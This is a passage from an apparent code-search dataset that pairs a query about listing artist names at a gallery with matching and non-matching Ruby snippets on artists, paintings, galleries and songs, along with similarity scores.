"def paintings\n Painting.all.select {|p| p.artist == self}\n end",
"def all_paintings\n Painting.all.select do |painting|\n painting.artist == self\n end\n end",
"def galleries\n paintings.map {|painting| painting.gallery}\n end",
"def galleries\n paintings.map {|p| p.gallery}\n end",
"def all_galleries_featured_in\n my_galleries = self.all_my_paintings.map{|picture| picture.gallery}.uniq\n end",
"def list_galleries\n list_paintings.map do |gallery_painting|\n gallery_painting.gallery\n end\n end",
"def paintings\n Painting.all.select do |p|\n p.artist == self \n end\nend",
"def galleries()\n self.paintings().map { | painting | painting.gallery }.uniq\n end",
"def paintings # Get a list of all the paintings by a specific(keywrod for instance method) artists\n Painting.all.select{|list| list.gallery == self}\n # binding.pry\n end",
"def galleries\n galleries_array = paintings.map {|painting| painting.gallery}\n galleries_array.uniq\n end",
"def find_artists\n album_ids = []\n album_results = CONNECTION.execute(\"SELECT * FROM albums_styles WHERE style_id = #{@id};\")\n album_results.each do |hash|\n album_ids << hash[\"album_id\"]\n end\n artist_ids = []\n artist_results = CONNECTION.execute(\"SELECT * FROM albums_artists WHERE album_id IN (#{album_ids.join(\",\")})\")\n artist_results.each do |hash|\n artist_ids << hash[\"artist_id\"]\n end\n \n Artist.find_many(artist_ids)\n end",
"def galleries\n paintings.map do |painting|\n painting.gallery\n end\n end",
"def galleries\n paintings.map do |painting|\n painting.gallery\n end\n end",
"def galleries\n paintings.map do |painting|\n painting.gallery\n end\n end",
"def list_presenting_artists(gallery)\n gallery.artist_name.each.with_index(1) {|artist, i| puts \"#{i}. #{artist}\"}\n end",
"def galleries\n paintings.map do |p|\n p.gallery\n end\n end",
"def photographs_taken_by_artist_from(country)\n artists_match_country = @artists.find_all do |artist|\n artist.country == country\n end\n photos = []\n @photographs.each do |photo|\n artists_match_country.each do |artist|\n if photo.artist_id == artist.id\n photos << photo\n end\n end\n end\n photos\n end",
"def artists\n @songs.map { |m| m.artist }.uniq\n end",
"def galleries\n galleries = self.paintings.map do |pi|\n pi.gallery\n end\n galleries.uniq\n end",
"def all_galleries\n self.all_paintings.map do |painting|\n painting.gallery\n end.uniq\n end",
"def artists\n artists = []\n self.songs.each do |song|\n artists << song.artist\n end\n artists.uniq\n end",
"def artists\n songs.map {|song| song.artist}\n end",
"def artists\n @songs.collect{|song| song.artist}.uniq\n end",
"def galleries\n self.paintings.map{|painitng| painitng.gallery}.uniq\n end",
"def artist_images\n ArtistImage.find_by_artist_id(self.id)\n end",
"def artists\n self.songs.collect{|song| song.artist}\n end",
"def photographs_taken_by_artist_from(country)\n photos_by_country = []\n @photographs.each do |photo|\n @artists.each do |artist|\n if photo[:artist_id] == artist[:id] && artist[:country] == country\n photos_by_country << photo\n end\n end\n end\n photos_by_country\n end",
"def photographs_taken_by_artists_from(country)\n country_by_artist = @artists.find_all do |artist|\n artists.first[:country] == country\n end\n @photographs.find_all do |photos|\n photos[:id] == country_by_artist[:id]\n end\n # require 'pry'; binding.pry\n end",
"def artists\n self.songs.map {|song| song.artist}\n end",
"def artists\n songs.map do |song|\n song.artist\n end\n end",
"def artists\n songs.map do |song|\n song.artist\n end\n end",
"def artists\n @songs.collect do |song|\n song.artist\n end\n end",
"def artists\n @songs.collect do |song|\n song.artist\n end\n end",
"def artists\n @songs.collect do |song| #<Song:0x007f874c4eeed8 @artist=#<Artist:0x007f874c4ef0b8 @name=\"Jay-Z\", @songs=[#<Song:0x007f874c4eeed8 ...>]>, @genre=#<Genre:0x007f874c4ef018 @name=\"rap\", @songs=[#<Song:0x007f874c4eeed8 ...>]>, @name=\"99 Problems\">\n song.artist ##<Artist:0x007f874c4ef0b8 @name=\"Jay-Z\", @songs=[#<Song:0x007f874c4eeed8 @artist=#<Artist:0x007f874c4ef0b8 ...>, @genre=#<Genre:0x007f874c4ef018 @name=\"rap\", @songs=[#<Song:0x007f874c4eeed8 ...>]>, @name=\"99 Problems\">]>\n end\n end",
"def gallaries\n paintings.map{|paint| paint.gallery}\n\n end",
"def galleries\n galleries = self.paintings.map do |p|\n p.gallery\n end\n galleries.uniq\nend",
"def artworksIn\n\tlistback = []\n\t@art = Artwork.all\n\t@artcreated = ArtworkCreatedBy.all\n\t@art.each do |a|\n\t\t@artcreated.each do |ac|\n\t\t\tif self.artist_id == ac.artist_id\n\t\t\t\tif a.art_id == ac.art_id\n\t\t\t\t\tlistback << a\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\tlistback\nend",
"def all_paintings\n artist_paintings = Painting.all.select do |painting_ob|\n #binding.pry\n painting_ob.artist == self\n end\n artist_paintings.map do |painting_ob|\n painting_ob.title\n end\nend",
"def showGalleries\n @galleries = Gallery.uniq.joins(:arts).where('arts.uploader = ?', current_user.id.to_s)\n end",
"def artists\n songs.collect do |song|\n song.artist\n\n end\nend",
"def songs \n Song.all.select do |e|\n e.artist == self\n end\n end",
"def cities\n Painting.all.map do |painting_instance| \n if painting_instance.artist == self\n painting_instance.gallery.city\n end\n end.compact.uniq\n end",
"def artists\n # - this method will show the connection between songs and artists \n self.songs.collect do |f| \n f.artist\n end\n end",
"def artists\n self.songs.collect {|song| song.artist}\nend",
"def artists\nSong.all.collect{|x| x.artist}\nend",
"def songs\n Song.all.select {|s| s.artist == self}\n end",
"def songs\n Song.all.select {|songs| songs.artist == self}\n end",
"def songs\n Song.all.select {|song| song.artist == self}\n end",
"def songs\n Song.all.select do |song|\n song.artist == self\n end\n end",
"def songs\n Song.all.select do |song|\n song.artist == self\n end\n end",
"def songs\n Song.all.select do |song|\n song.artist == self\n end\n end",
"def songs\n Song.all.select do |song| \n song.artist == self\n end \n end",
"def songs\n Song.all.select do |song| song.artist == self end\n end",
"def songs\n Song.all.select{|song| song.artist == self}\n end",
"def songs\n Song.all.select do |song_instance|\n song_instance.artist == self \n end\n end",
"def songs\n Song.all.select do |song|\n song.artist == self\n end\n end",
"def songs\n Song.all.select {|song| song.artist == self}\n end",
"def songs\n Song.all.select {|song| song.artist == self}\n end",
"def artists(artist)\n if song.artist = nil || !Artist.find_by_name(name)\n song.artist = artist \n Artist.all << artist \n end \n end",
"def songs\n #use select to iterate thru songs\n Song.all.select{|song| song.artist == self}\n end",
"def songs\n Song.all.select{|song| song.artist == self}\n end",
"def show\n @arts = Array.new()\n @gallery.art_ids.each do |aid|\n @arts << Art.find(aid)\n end\n\n end",
"def songs\n Song.all.select do |song_instance|\n song_instance.artist == self\n end\n end",
"def songs\n Song.all.select do |song|\n song.artist == self \n end \n end",
"def songs\n Song.all.select {|song| song.artist == self }\n end",
"def songs\n Song.all.select{|song|song.artist == self}\n end",
"def songs \n Song.all.select {|song| song.artist == self}\n end",
"def songs\n Song.all.select {|songs|songs.artist == self}\n end",
"def extra_artists\n Artist.joins(:release_artists).where('release_artist.release_id': self.id, 'release_artist.extra': 1).uniq\n end",
"def genres\n all_genres = []\n Song.all.each do |x|\n if x.artist == self\n all_genres << x.genre\n end\n end\nall_genres\nend",
"def all_cities\n city_arr = Painting.all.select do |painting_ob|\n #binding.pry\n painting_ob.artist == self\n end\n city_arr.map do |painting_ob|\n painting_ob.gallery.city\n end\nend"
] |
[
"0.82587236",
"0.7819621",
"0.7671706",
"0.75349677",
"0.75148106",
"0.73957235",
"0.73018986",
"0.73010355",
"0.72804374",
"0.71971923",
"0.7041863",
"0.7041745",
"0.7031225",
"0.70260906",
"0.7005577",
"0.6979754",
"0.6979754",
"0.6964527",
"0.6954761",
"0.6954761",
"0.6954761",
"0.6935111",
"0.6927035",
"0.6920113",
"0.69045526",
"0.68952245",
"0.6859099",
"0.6841831",
"0.68208414",
"0.6811741",
"0.6787905",
"0.67562336",
"0.6748767",
"0.672091",
"0.6712932",
"0.6706727",
"0.6705281",
"0.66820115",
"0.66789526",
"0.66690814",
"0.6659117",
"0.6659117",
"0.6659117",
"0.6641343",
"0.6586516",
"0.6553156",
"0.6529874",
"0.65176135",
"0.6514175",
"0.6456684",
"0.64129806",
"0.64092076",
"0.639543",
"0.63833845",
"0.6364606",
"0.6337488",
"0.63299644",
"0.63195634",
"0.63090444",
"0.63090444",
"0.6295298",
"0.6295298",
"0.6265848",
"0.6209145",
"0.6186924",
"0.6101113",
"0.608111",
"0.6047863",
"0.5987192",
"0.5963208",
"0.5960574",
"0.5944417",
"0.5871081",
"0.58710295",
"0.58616173",
"0.58490777",
"0.58398694",
"0.5835198",
"0.5835198",
"0.5835198",
"0.58252114",
"0.58251923",
"0.5824197",
"0.58134115",
"0.5809249",
"0.5805267",
"0.5805267",
"0.58020604",
"0.57988966",
"0.57948315",
"0.5791858",
"0.57911754",
"0.57860297",
"0.57846975",
"0.57750666",
"0.5772428",
"0.57677466",
"0.57294905",
"0.5724297",
"0.57183856"
] |
0.7270354
|
9
|
get list of names of artists that have paintings at a specific gallery
|
def artist_names
artists.map do |artist|
artist.name
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def all_artists_by_gallery\n paintings = Painting.all.select { |painting| painting.gallery == self }\n # paintings.map { |painting| painting.artist }\n end",
"def all_artist_names_by_gallery\n all_artists_by_gallery.map do |artist|\n # artist.name == Painting.artist.name\n artist.name\n end\n end",
"def artist_names #return array of the names of all artists that have a painting in a gallery\n artists.name #pull array from artists method and call reader to get their name\n end",
"def all_galleries\n gallery_arr = Painting.all.select do |painting_ob|\n painting_ob.artist == self\n end\n gallery_arr.map do |painting_ob|\n painting_ob.gallery.name\n end\nend",
"def all_artists\n match = Painting.all.select{|painting| painting.gallery == self}\n match.map{|painting| painting.artist}\nend",
"def galleries\n Painting.all.map do |painting_instance| \n if painting_instance.artist == self\n painting_instance.gallery\n end\n end.compact.uniq\n end",
"def artists\n paintings.map{|art| art.artist.name}\n\n end",
"def list_presenting_artists(gallery)\n gallery.artist_name.each.with_index(1) {|artist, i| puts \"#{i}. #{artist}\"}\n end",
"def galleries\n paintings.map {|p| p.gallery}\n end",
"def galleries\n paintings.map{|painting| painting.gallery}.uniq\n end",
"def paintings\n Painting.all.select do |a|\n a.gallery == self\n end\n end",
"def list_galleries\n list_paintings.map do |gallery_painting|\n gallery_painting.gallery\n end\n end",
"def galleries\n paintings.map {|painting| painting.gallery}\n end",
"def artists\n self.paintings.map do |painting|\n painting.artist\n end.uniq\n end",
"def artists\n paintings.collect do |p|\n p.artist \n end\n end",
"def artists\n paintings.map do |painting|\n painting.artist\n end\n end",
"def galleries\n paintings.map do |p|\n p.gallery\n end\n end",
"def paintings\n Painting.all.select do |painting|\n painting.gallery == self\n end\n end",
"def galleries\n galleries_array = paintings.map {|painting| painting.gallery}\n galleries_array.uniq\n end",
"def galleries\n paintings.map do |painting|\n painting.gallery\n end\n end",
"def galleries\n paintings.map do |painting|\n painting.gallery\n end\n end",
"def galleries\n paintings.map do |painting|\n painting.gallery\n end\n end",
"def galleries()\n self.paintings().map { | painting | painting.gallery }.uniq\n end",
"def galleries\n galleries = self.paintings.map do |pi|\n pi.gallery\n end\n galleries.uniq\n end",
"def paintings # Get a list of all the paintings by a specific(keywrod for instance method) artists\n Painting.all.select{|list| list.gallery == self}\n # binding.pry\n end",
"def all_galleries_featured_in\n my_galleries = self.all_my_paintings.map{|picture| picture.gallery}.uniq\n end",
"def gallaries\n paintings.map{|paint| paint.gallery}\n\n end",
"def all_galleries\n self.all_paintings.map do |painting|\n painting.gallery\n end.uniq\n end",
"def artists_with_multiple_photographs\n artists = []\n @artists.each do |artist|\n @photographs.each do |photo|\n if artist[:id] == photo[:artist_id]\n artists << artist\n end\n end\n end\n artists\n end",
"def galleries\n self.paintings.map{|painitng| painitng.gallery}.uniq\n end",
"def all_my_paintings\n Painting.all.select{|picture| picture.artist == self}\n end",
"def paintings\n Painting.all.select {|p| p.artist == self}\n end",
"def artists\n genre_artists = []\n Song.all.each {|song|\n if song.genre == self &&\n !genre_artists.include?(song.artist)\n genre_artists << song.artist\n end\n }\n genre_artists\n end",
"def find_photographs_by_artist(artist)\n artist_photos = []\n @photographs.each do |photograph|\n if photograph[:artist_id] == artist[:id]\n artist_photos << photograph\n end\n end\n artist_photos\n end",
"def paintings\n Painting.all.select do |painting|\n painting.artist == self\n end\n end",
"def paintings\n Painting.all.select do |painting|\n painting.artist == self\n end\n end",
"def paintings\n Painting.all.select {|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.select {|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.select {|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.find_all do |pi|\n pi.artist == self\n end\n end",
"def paintings\n Painting.all.select{|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.select{|painting| painting.artist == self}\n end",
"def list_paintings\n Painting.all.select do |painting|\n painting.artist == self\n end\n end",
"def paintings\n Painting.all.select{|painting_instance| painting_instance.artist == self}\n end",
"def paintings\n Painting.all.select do |painting_instance|\n painting_instance.artist == self\n end\n end",
"def paintings()\n Painting.all.select { | painting | painting.artist == self }\n end",
"def artists\n songs.collect do |song|\n song.artist\n end\n .uniq #does not return duplicate artists if the genre has more than one song by a particular artist (genre has many artists through songs)\n end",
"def galleries\n galleries = self.paintings.map do |p|\n p.gallery\n end\n galleries.uniq\nend",
"def photographs_taken_by_artist_from(country)\n artists_match_country = @artists.find_all do |artist|\n artist.country == country\n end\n photos = []\n @photographs.each do |photo|\n artists_match_country.each do |artist|\n if photo.artist_id == artist.id\n photos << photo\n end\n end\n end\n photos\n end",
"def all_paintings\n Painting.all.select do |painting|\n painting.artist == self\n end\n end",
"def get_galleries_names_on_page(_browser = @browser)\n Log.logger.info(\"Getting gallery link-names on the page\")\n i = 1\n galleries_list = []\n galleries_xpath = \"//div[contains(@class, 'media-gallery-collection')]/div\"\n nog = Integer(_browser.find_elements(:xpath => galleries_xpath).size)\n Log.logger.info(\"Found #{nog} galleries\")\n while i <= nog\n JQuery.wait_for_events_to_finish(_browser)\n gal_name = _browser.find_element(:xpath => \"//div[contains(@class, 'media-gallery-collection')]/div[#{i}]\").attribute(\"about\")\n gal_name.gsub!(/\\/content\\//,'')\n i += 1\n galleries_list << gal_name\n end\n return galleries_list\n end",
"def showGalleries\n @galleries = Gallery.uniq.joins(:arts).where('arts.uploader = ?', current_user.id.to_s)\n end",
"def photographs_taken_by_artist_from(country)\n photos_by_country = []\n @photographs.each do |photo|\n @artists.each do |artist|\n if photo[:artist_id] == artist[:id] && artist[:country] == country\n photos_by_country << photo\n end\n end\n end\n photos_by_country\n end",
"def artists\n songs.map {|song| song.artist}\n end",
"def paintings\n Painting.all.select do |p|\n p.artist == self \n end\nend",
"def artists\n @songs.map { |m| m.artist }.uniq\n end",
"def photographs_taken_by_artists_from(country)\n country_by_artist = @artists.find_all do |artist|\n artists.first[:country] == country\n end\n @photographs.find_all do |photos|\n photos[:id] == country_by_artist[:id]\n end\n # require 'pry'; binding.pry\n end",
"def artists\n artists = []\n self.songs.each do |song|\n artists << song.artist\n end\n artists.uniq\n end",
"def artists\n @songs.collect{|song| song.artist}.uniq\n end",
"def artists\n self.songs.collect{|song| song.artist}\n end",
"def all_paintings\n artist_paintings = Painting.all.select do |painting_ob|\n #binding.pry\n painting_ob.artist == self\n end\n artist_paintings.map do |painting_ob|\n painting_ob.title\n end\nend",
"def artists\n songs.map do |song|\n song.artist\n end\n end",
"def artists\n songs.map do |song|\n song.artist\n end\n end",
"def artists\n @songs.collect do |song|\n song.artist\n end\n end",
"def artists\n @songs.collect do |song|\n song.artist\n end\n end",
"def find_artists\n album_ids = []\n album_results = CONNECTION.execute(\"SELECT * FROM albums_styles WHERE style_id = #{@id};\")\n album_results.each do |hash|\n album_ids << hash[\"album_id\"]\n end\n artist_ids = []\n artist_results = CONNECTION.execute(\"SELECT * FROM albums_artists WHERE album_id IN (#{album_ids.join(\",\")})\")\n artist_results.each do |hash|\n artist_ids << hash[\"artist_id\"]\n end\n \n Artist.find_many(artist_ids)\n end",
"def artists\n self.songs.map {|song| song.artist}\n end",
"def show\n @arts = Array.new()\n @gallery.art_ids.each do |aid|\n @arts << Art.find(aid)\n end\n\n end",
"def artists\n @songs.collect do |song| #<Song:0x007f874c4eeed8 @artist=#<Artist:0x007f874c4ef0b8 @name=\"Jay-Z\", @songs=[#<Song:0x007f874c4eeed8 ...>]>, @genre=#<Genre:0x007f874c4ef018 @name=\"rap\", @songs=[#<Song:0x007f874c4eeed8 ...>]>, @name=\"99 Problems\">\n song.artist ##<Artist:0x007f874c4ef0b8 @name=\"Jay-Z\", @songs=[#<Song:0x007f874c4eeed8 @artist=#<Artist:0x007f874c4ef0b8 ...>, @genre=#<Genre:0x007f874c4ef018 @name=\"rap\", @songs=[#<Song:0x007f874c4eeed8 ...>]>, @name=\"99 Problems\">]>\n end\n end",
"def get_guitarists(artist)\n #get their names out only if they play guitar\n #\n artist.each_with_object([]) do |person, names|\n if person[:instrument].include?('guitar')\n names << person[:name]\n end\n names\n #names always gets returns but if there is no guitar then it will be zippo\n end\n\n private\n\n def privvy\n end\n\n #object is an array as defined. loop over it once and don'thave to compact\nend",
"def what_songs_does_he_own()\n $songs.select{|song| song.owners.include?(@name)}\n \tend",
"def artists\n beef = Artist.all.map{|exp| exp.years_active} #all artist\n beef_tot = beef.inject{|sum, n| sum + n} #sum of all\n avg = (beef_tot / beef.length).round(0) #avg of the num of elements(beef_tot) divide by number of arrays we summed up (beef.length)\n # binding.pry\n\n end",
"def show_all_by artist\n if $albums.any?\n x = nil\n artist_albums = []\n $albums.each do |album, status|\n if album[1].downcase == artist.downcase\n puts \"#{album[0]} by #{album[1].gsub('\"', '')} (#{status})\"\n artist_albums.push(album)\n x = true\n end\n end\n if x == true\n return artist_albums\n else\n puts \"You don't have any albums by that artist.\"\n end\n else\n puts \"You don't have any albums! You should add some.\"\n end\nend",
"def galleries\n galleries = []\n Dir.glob(\"#{@options.cache_dir}/*\").each do |path| \n name = path.split('/').last\n puts name\n gallery = {}\n gallery[:title] = name.gsub(/[_]/, ' ').capitalize\n puts (gallery[:path] = \"gallery/#{name}\")\n thumb = Dir.glob(\"#{path}/*/thumb.*\").first\n thumb = Dir.glob(\"#{path}/*/*.*\").first unless thumb # else take the first image.\n thumb = thumb.split('/').last\n puts (gallery[:thumb] = \"image/m/#{name}/#{thumb}\")\n galleries << gallery\n end\n galleries\n end",
"def list_gallery\n Galleries.all.each.with_index(1) { |gallery, i| puts \"#{i}. #{gallery.name}\"}\n end",
"def artist_images\n ArtistImage.find_by_artist_id(self.id)\n end",
"def cities\n Painting.all.map do |painting_instance| \n if painting_instance.artist == self\n painting_instance.gallery.city\n end\n end.compact.uniq\n end",
"def artists\n songs.collect do |song|\n song.artist\n\n end\nend",
"def gal_artist\n beef = paintings.map{|exp| exp.artist.years_active} #accesing artist object in paintings method(mentioned above) and years_active instance_method\n tot = beef.inject{|sum, n| sum + n} #sum of all\n # avg = (beef_tot / beef.length).round(0) #avg of the num of elements(beef_tot) divide by number of arrays we summed up (beef.length)\n # binding.pry\n\n end",
"def show\n @images = @galleries_album.galleries\n end",
"def genres\n @new_array_of_genres = []\n @songs.each do |song| #iterate through each song to find the genre\n if @new_array_of_genres.include?(song.genre) #does not return duplicate genres\n nil\n else\n @new_array_of_genres << song.genre #collects genres through its songs\n end\n end\n @new_array_of_genres #returns a collection of genres for all of the artists songs\n end",
"def gallery_details(gallery)\n Scraper.scrape_idv_gallery(gallery) \n \n puts \"\"\n puts \"Here is more details about #{gallery.name.bold}.\".black.on_white\n puts \"\"\n puts \"Presenting Artist(s): #{gallery.artist_name.join(\" | \")} \"\n puts \"\"\n puts \"About the Gallery: #{gallery.info} \"\n puts \"\"\n \n end",
"def artist_names\n self.artists.collect do |n|\n n.name \n end\n end",
"def artists\n songs.map do |song|\n song.artist\n # binding.pry\n end\n end",
"def total_artist_experience\n sum = 0\n all_artists_by_gallery.map do |artist|\n artist.years_active == Painting.artist.years_active\n sum += artist.years_active\n end\n end",
"def items()\n data['galleries']\n end",
"def artists\nSong.all.collect{|x| x.artist}\nend",
"def genres\n songs.map{|song| song.genre} # giving back all the genres under that particular artist. artists can have nmany genres and calling of theirmany genres.\n # Song.all.map{|ind_song| ind_song.genre} #giving back all the different genres from the collection of song array. giving back all the genres of the songs\n # binding.pry\n end",
"def find_speaker(photos)\n photos.select { |p| p.has_key?('caption') && p['caption'] == '_SPEAKER_' }\nend",
"def artists\n # - this method will show the connection between songs and artists \n self.songs.collect do |f| \n f.artist\n end\n end",
"def artists\n MusicImporter.new(path).print_artists\n end",
"def artist_by_genre\n all_genres = Artist.all.map{|artist| artist.genre}.uniq.sort\n genre_name = prompt(\"Choose a genre: \", all_genres)\n artists = Artist.all.where(genre: genre_name).map{|artist| artist.name}\n puts \"**************************\"\n puts \"For #{genre_name}\"\n puts \"**************************\"\n prompt(\"Choose an Artist from #{genre_name}\", artists)\n end",
"def genres \n songs.collect{ |s| s.genre }.uniq #returns collection of genres for all of the artist's songs/ does not return duplicate genres/ collects genres\n end",
"def images artist\n url = \"http://developer.echonest.com/api/v4/artist/images?api_key=#{ECHONEST_API_KEY}&name=#{artist}&format=json&results=#{RESULTS}&start=0&license=unknown\"\n result = parseURL url\n result[\"response\"][\"images\"]\nend",
"def artist_names\n self.artists.map do |artist|\n artist.name\n end\n end",
"def artists\n self.songs.collect {|song| song.artist}\nend",
"def persons\n Gallerist::Person.where modelId: person_photos.map(&:person_id)\n end",
"def persons\n Gallerist::Person.where modelId: person_photos.map(&:person_id)\n end",
"def genres\n all_genres = []\n Song.all.each do |x|\n if x.artist == self\n all_genres << x.genre\n end\n end\nall_genres\nend",
"def find_by_name(name)\n #@@artist.detect{|a| a.name == name}\n all.detect{|a| a.name == name}\n end"
] |
[
"0.8241752",
"0.8048409",
"0.7944162",
"0.79265964",
"0.77202994",
"0.76342756",
"0.74595004",
"0.7348064",
"0.7300484",
"0.7174687",
"0.7153732",
"0.7144178",
"0.712818",
"0.7112033",
"0.71035296",
"0.70786947",
"0.7078453",
"0.7041957",
"0.7014401",
"0.7004169",
"0.7004169",
"0.7004169",
"0.69723773",
"0.69038486",
"0.686992",
"0.6811136",
"0.677875",
"0.6749468",
"0.67427826",
"0.6734378",
"0.6727285",
"0.6613087",
"0.6587463",
"0.65871865",
"0.65757793",
"0.65757793",
"0.65731764",
"0.65731764",
"0.65731764",
"0.6561591",
"0.6561102",
"0.6542097",
"0.6540346",
"0.6516724",
"0.65092665",
"0.6503634",
"0.640531",
"0.6349234",
"0.63219804",
"0.6310849",
"0.61953115",
"0.61833674",
"0.6173339",
"0.6171503",
"0.61700326",
"0.6155117",
"0.61279374",
"0.6093192",
"0.60828763",
"0.60601735",
"0.6040884",
"0.60375476",
"0.60375476",
"0.60301846",
"0.60301846",
"0.5997285",
"0.5979354",
"0.59625393",
"0.5910728",
"0.5908244",
"0.58626705",
"0.5832307",
"0.58264095",
"0.57987654",
"0.5782114",
"0.57659984",
"0.5724773",
"0.57156295",
"0.570197",
"0.56963867",
"0.56850284",
"0.56599903",
"0.5659697",
"0.561709",
"0.5612004",
"0.56093955",
"0.5607186",
"0.5599361",
"0.5582247",
"0.557622",
"0.5574169",
"0.5568692",
"0.5564551",
"0.55396295",
"0.55379045",
"0.5527884",
"0.54959714",
"0.54959714",
"0.54875606",
"0.54858595"
] |
0.592989
|
68
|
get combined years of experience of all artists at a specific gallery
|
def total_years
all_years = artists.map do |artist|
artist.years_active
end
all_years.inject(:+)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def total_artist_experience\n sum = 0\n all_artists_by_gallery.map do |artist|\n artist.years_active == Painting.artist.years_active\n sum += artist.years_active\n end\n end",
"def artists_years_experienced\n years = self.all_artists.inject(0){|sum, artist| sum + artist.years_active}\nend",
"def artist_years\n self.artists.reduce(0) do |accumulator, artist|\n accumulator += artist.years_active\n end\n end",
"def get_works_for(year)\n Alchemy::Page.published\n .joins(elements: :ingredients)\n .includes(elements: :ingredients)\n .reorder(:lft)\n .where(alchemy_ingredients: { type: \"Alchemy::Ingredients::Select\" })\n .where('alchemy_ingredients.value = ?', year)\n .distinct\n end",
"def all_artist_names_by_gallery\n all_artists_by_gallery.map do |artist|\n # artist.name == Painting.artist.name\n artist.name\n end\n end",
"def all_artists_by_gallery\n paintings = Painting.all.select { |painting| painting.gallery == self }\n # paintings.map { |painting| painting.artist }\n end",
"def academic_years\n Education::AcademicYear.where(id: education_cohorts.pluck(:academic_year_id))\n end",
"def artists\n beef = Artist.all.map{|exp| exp.years_active} #all artist\n beef_tot = beef.inject{|sum, n| sum + n} #sum of all\n avg = (beef_tot / beef.length).round(0) #avg of the num of elements(beef_tot) divide by number of arrays we summed up (beef.length)\n # binding.pry\n\n end",
"def artist_names #return array of the names of all artists that have a painting in a gallery\n artists.name #pull array from artists method and call reader to get their name\n end",
"def cat_years\n #en este metodo calculamos la edad del gato.\n @age * CAT_YEARS\n end",
"def sum_of_experiences\n collection.map{|person| person[:years_experience]}.inject(:+)\n end",
"def all_galleries\n gallery_arr = Painting.all.select do |painting_ob|\n painting_ob.artist == self\n end\n gallery_arr.map do |painting_ob|\n painting_ob.gallery.name\n end\nend",
"def get_years_to_date_collection\n (get_system_asset_starting_year..Date.today.year).to_a\n end",
"def list_presenting_artists(gallery)\n gallery.artist_name.each.with_index(1) {|artist, i| puts \"#{i}. #{artist}\"}\n end",
"def associated_years\n years = \"\"\n \n\t start_date = event_start\n\t start_date = entry_deadline if is_opportunity?\n\t \n years << start_date.year.to_s if !start_date.blank?\n years << ' '\n years << event_finish.year.to_s if !event_finish.blank?\n \n #remove duplicates and trim off spaces\n unique_years = years.strip.split(' ').uniq.sort\n result = unique_years\n if unique_years.length > 1\n result = []\n for y in unique_years[0]..unique_years[1]\n result << y\n end\n end\n result\n #now we have the 2004-2008 case to deal with, we wish to create [2004,2005,...2008]\n \n end",
"def index\n @photo_challenges = PhotoChallenge.all.includes([:photos, :year, winning_photo: :photo]).reverse\n @grouped_challenges = @photo_challenges.group_by(&:year_id)\n end",
"def galleries\n paintings.map do |p|\n p.gallery\n end\n end",
"def galleries\n paintings.map {|p| p.gallery}\n end",
"def list_galleries\n list_paintings.map do |gallery_painting|\n gallery_painting.gallery\n end\n end",
"def extract_year_infos(html_page)\n year_info = {}\n # Fills the hash with year's general informations\n html_page.search('#millesime').each do |element|\n year_info[:wine] = element.search('h2:first').text.strip\n year_info[:domain] = element.search('#millesime-region > li:first > a').text\n year_info[:year] = element.search('#millesime-region > li')[1].search('a').text\n year_info[:region] = []\n element.search('#millesime-region > li')[2].search('a').each do |a|\n year_info[:region] << a.text\n end\n year_info[:appelation] = element.search('#millesime-region > li')[3].search('a').text\n year_info[:grape] = []\n element.search('#millesime-region > li')[4].search('a').each do |a|\n year_info[:grape] << a.text\n end\n # [0].text, element.search('#millesime-region > li')[4].search('a')[1].text]\n year_info[:color] = element.search('.millesime-type').text.strip\n year_info[:figaro_note] = element.search('.note-expert').text\n end\n return year_info # => hash of year's nformations\nend",
"def expanded_years\n @expanded_years ||= work.date_of_work.collect { |date_of_work| years_for_date_of_work(date_of_work) }.flatten\n end",
"def gal_artist\n beef = paintings.map{|exp| exp.artist.years_active} #accesing artist object in paintings method(mentioned above) and years_active instance_method\n tot = beef.inject{|sum, n| sum + n} #sum of all\n # avg = (beef_tot / beef.length).round(0) #avg of the num of elements(beef_tot) divide by number of arrays we summed up (beef.length)\n # binding.pry\n\n end",
"def cities\n galleries.map {|gallery| gallery.city}\n end",
"def cities\n galleries.map {|gallery| gallery.city}\n end",
"def extract_wine_years(html_page)\n years = []\n # Creation of hash for each year, filled with year and url\n html_page.search('#div-all-millesimes > table > tbody > tr').each do |element|\n wine_info = {}\n wine_info[:year] = element.search('.millesime > a').text\n wine_info[:link] = element.search('.millesime > a').attribute('href').value\n years << wine_info\n end\n return years # => array of hashes containing year and url for each year\nend",
"def cities\n galleries.map do |gallery|\n gallery.city\n end\n end",
"def cities\n galleries.map do |gallery|\n gallery.city\n end\n end",
"def years(make)\n make_id = get_object_id make\n response = get_url \"Years/#{make_id}\"\n response_obj = JSON.parse response\n response_obj[\"GetYearsResult\"].map{|r| r[\"Year\"]}\n end",
"def year\n Spotify.album_year(pointer)\n end",
"def cities\n galleries.map do |gallery| \n gallery.city \n end\n end",
"def galleries\n paintings.map {|painting| painting.gallery}\n end",
"def parse_years_publications year_publications, year\n\t\t@doc.css('div.spis-tresci').each do |link|\n\t\t\tpublication_contributions = []\n\t\t\tedition_name = parse_publication_data link, publication_contributions\n\t\t\t\n\t\t\tedition = Publication.new(edition_name, publication_contributions, year)\n\t\t\tyear_publications.push(edition)\n\t\tend\n\tend",
"def galleries\n paintings.map do |painting|\n painting.gallery\n end\n end",
"def galleries\n paintings.map do |painting|\n painting.gallery\n end\n end",
"def galleries\n paintings.map do |painting|\n painting.gallery\n end\n end",
"def all_artists\n match = Painting.all.select{|painting| painting.gallery == self}\n match.map{|painting| painting.artist}\nend",
"def get_career_averages(player_ids)\n (player_ids.collect {|id| fetch_averages(id)}).flatten\nend",
"def galleries\n Painting.all.map do |painting_instance| \n if painting_instance.artist == self\n painting_instance.gallery\n end\n end.compact.uniq\n end",
"def years\n use_date = params[:dt] || \"created_at\"\n @age_limit = (params[:years] || \"2\").to_i.years.ago\n date_format = \"'%Y-%m'\"\n @dates = AudioMessage.active\n .where(\"audio_messages.#{use_date} > ?\",@age_limit)\n .group(\"date_format(audio_messages.#{use_date},#{date_format})\")\n .order(\"audio_messages.#{use_date} DESC\")\n .count\n @speakers_by_date = {}\n @dates.keys.each do |date|\n @speakers_by_date[date] =\n generate_speaker_list_with_counts_for_date(date,date_format,use_date)\n end\n # Peek at most recent load date\n @latest_addition_date = AudioMessage.maximum('created_at')\n end",
